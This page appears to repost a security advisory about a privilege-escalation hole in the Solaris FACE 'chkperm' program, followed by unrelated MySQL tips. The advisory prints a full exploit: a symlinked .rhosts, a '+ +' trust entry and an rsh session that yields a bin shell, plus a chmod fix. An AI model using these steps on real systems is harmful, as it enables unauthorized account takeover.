讲师中心 微信公众号
首页
文章
后端开发 web前端 数据库 开发工具 php框架 常见问题 科技 Java 系统教程 电脑教程 硬件教程 手机教程 软件教程 游戏教程 自媒体 新闻
专题
后端开发 web前端 数据库 开发工具 php框架 科技 Java 系统教程 电脑教程 硬件教程 手机教程 软件教程 游戏教程 新闻
AI工具
AI 聊天问答 Agent智能体 AI 文本写作 AI 绘画作图 AI 设计工具 AI 视频创作 AI 音频制作 AI 办公学习 AI 编程开发 Prompt指令
学习
大前端 后端开发 数据库 移动端 运维开发 计算机基础
编程手册
大前端 后端开发 数据库 移动端 运维开发 计算机基础
下载
js特效 网站源码 工具下载 类库下载 网站素材 学习资源 插件扩展 手机游戏
最近更新
首页 > 数据库 > mysql教程 > 正文

Access Command Environment包含的漏洞

php中文网
发布： 2016-06-07 15:06:13
原创
1329人浏览过

涉及程序： FACE软件包中的chkperm 描述： Access Command Environment包含的漏洞 详细： Solaris 2.4, 2.5, and 2.5.1 (可能还有其他系统) 安装了一个叫 FACE (Framed Access Command Environment)的软件包。在这个软件包 中有一个程序chkperm是问题所在，

涉及程序：
FACE软件包中的chkperm
 
描述：
Access Command Environment包含的漏洞
 
详细：
Solaris 2.4, 2.5, and 2.5.1 (可能还有其他系统) 安装了一个叫 FACE (Framed Access Command Environment)的软件包。在这个软件包 中有一个程序"chkperm"是问题所在，他是用来用户是否有使用FACE许可的程序。 这漏洞将可以轻易造出一个BIN用户。


以下代码仅仅用来测试和研究这个漏洞，如果您将其用于不正当的途径请后果自负


% mkdir /tmp/foo
% mkdir /tmp/foo/lib
% chmod -R 777 /tmp/foo
% setenv VMSYS /tmp/foo
% umask 0000
% ln -s /usr/bin/.rhosts /tmp/foo/lib/.facerc
% /usr/vmsys/bin/chkperm -l -u foo
% ls -l /usr/bin/.rhosts

-rw-rw-rw- 2 bin bin 0 Nov 12 09:41 .rhosts
% echo "+ +" >> /usr/bin/.rhosts
% ls -l /usr/bin/.rhosts
-rw-rw-rw- 2 bin bin 4 Nov 12 09:41 .rhosts
% rsh -l bin localhost /bin/csh -i
Warning: no access to tty; thus no job control in this shell... % id
uid=2(bin) gid=2(bin)

受影响的系统；
安装了(FACEFramed Access Command Environment)Solaris 2.4, 2.5 (?), 2.5.1(?) and 或其他源于System V 的UNIX系统。
 
解决方案：
CNNS为您提供完善的网络安全服务。
 
安全建议：
% chmod ug-s /usr/vmsys/bin/chkperm
 

相关标签：
access

大家都在看：

最佳 Windows 性能的顶级免费优化软件
最佳 Windows 性能的顶级免费优化软件

每个人都需要一台速度更快、更稳定的 PC。随着时间的推移，垃圾文件、旧注册表数据和不必要的后台进程会占用资源并降低性能。幸运的是，许多工具可以让 Windows 保持平稳运行。

下载
来源：php中文网
收藏 点赞
上一篇：谈路由器NAT功能的配置 下一篇：决定彻底放弃对MooseFS的研究
本文内容由网友自发贡献，版权归原作者所有，本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容，请联系admin@php.cn
最新问题
mysql连接未释放怎么办_mysql连接泄漏排查 MySQL连接未释放本质是应用层未正确关闭连接，导致连接数增长并可能触发“Toomanyconnections”错误；需通过SHOWPROCESSLIST和SHOWSTATUS确认泄漏，修复忘关连接、异常绕过关闭、连接被持有及连接池配置等问题。
2025-12-21 20:18:09
244
mysql线程模型是什么_mysql线程模型原理解析 MySQL采用连接驱动、分层协作的多线程架构，分为前台连接线程（每连接一线程或线程池复用）和后台系统线程（IO、Purge、PageCleaner等），通过线程池机制平衡高并发与资源消耗。
2025-12-21 20:15:07
271
mysql如何更新表数据_mysql UPDATE表数据操作方法 UPDATE语句用于修改表中数据，基本语法为UPDATE表名SET字段=新值WHERE条件；可更新单行（如UPDATEusersSETage=25WHEREid=1）、多行（如UPDATEproductsSETprice=price*1.1WHEREcategory=‘electronics’），需注意使用WHERE限定范围，建议先用SELECT测试、操作前备份、在事务中执行以确保安全，避免无条件更新影响全表数据。
2025-12-21 20:13:02
899
如何在mysql中创建索引_mysql索引创建方法说明 MySQL中创建索引核心用CREATEINDEX语句或建表时定义，单列索引语法为CREATEINDEXidx_nameONtable_name(column_name)，联合索引需遵循最左前缀原则并合理排序字段，主键和UNIQUE约束会自动创建对应索引，可用SHOWINDEX、EXPLAIN查看，DROPINDEX删除。
2025-12-21 20:06:52
352
mysql存储引擎如何支持事务_mysql存储引擎事务特性 MySQL中是否支持事务取决于存储引擎，InnoDB支持事务并具备ACID特性，而MyISAM等不支持。1.InnoDB是默认引擎，支持完整事务处理，包括原子性、一致性、隔离性和持久性；2.其通过undolog实现回滚，redolog保障持久性，MVCC提升并发性能，默认隔离级别为可重复读；3.支持自动提交与手动事务控制（BEGIN/COMMIT/ROLLBACK）及XA分布式事务；4.MyISAM不支持事务，操作立即生效且不可回滚，适用于读多写少场景；5.Memory引擎数据存于内存，无事务支
2025-12-21 20:02:02
379
mysql如何优化外键约束查询_mysql外键查询优化方法 外键约束需合理优化以平衡一致性与性能。应确保外键字段有高效索引，避免冗长索引和过度级联操作，优先通过应用层控制大规模删除，优化JOIN查询的执行计划，必要时去除外键约束以提升高并发场景下的吞吐量。
2025-12-21 19:59:02
153
mysql中唯一索引是什么_mysql唯一索引使用说明 唯一索引是强制列值唯一但允许多个NULL的约束机制，支持单列/组合列、可多建、基于B+Tree加速查询，违例报ERROR1062，适用于手机号等天然唯一字段、逻辑主键及幂等写入。
2025-12-21 19:46:02
146
如何在mysql中开启事务_mysql事务开启语法 MySQL事务默认自动提交，需先SETautocommit=0关闭自动提交，再用STARTTRANSACTION显式开启；之后执行DML操作，最后用COMMIT或ROLLBACK结束事务。
2025-12-21 19:24:01
693
如何在mysql中使用exists_mysql exists用法说明 EXISTS用于判断子查询是否返回至少一行，返回TRUE或FALSE，具短路特性且对NULL安全；常用于存在性检查，效率通常优于IN，需确保关联字段有索引。
2025-12-21 19:23:02
366
如何安装mysql客户端工具_mysql客户端安装方法 最常用、最轻量的MySQL客户端安装方式是仅安装mysql-client或mysql-shell，不安装服务端；各系统对应命令为：Ubuntu/Debian用sudoaptinstallmysql-client，CentOS/RHEL/Rocky用sudodnfinstallmysql，macOS用brewinstallmysql-client并配置PATH，Windows可选官网ZIP免装版或MySQLInstaller的Clientonly模式。
2025-12-21 19:22:02
191
相关专题
更多>
热门推荐
开源免费商场系统广告
热门教程
更多>
相关推荐
热门推荐
最新课程
最新下载
更多>
网站特效
网站源码
网站素材
前端模板
关于我们 免责申明 举报中心 意见反馈 讲师合作 广告合作 最新更新
php中文网：公益在线php培训，帮助PHP学习者快速成长！
关注服务号 技术交流群
PHP中文网订阅号
每天精选资源文章推送

Copyright 2014-2025 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号

  • PHP学习

  • 技术支持

  • 返回顶部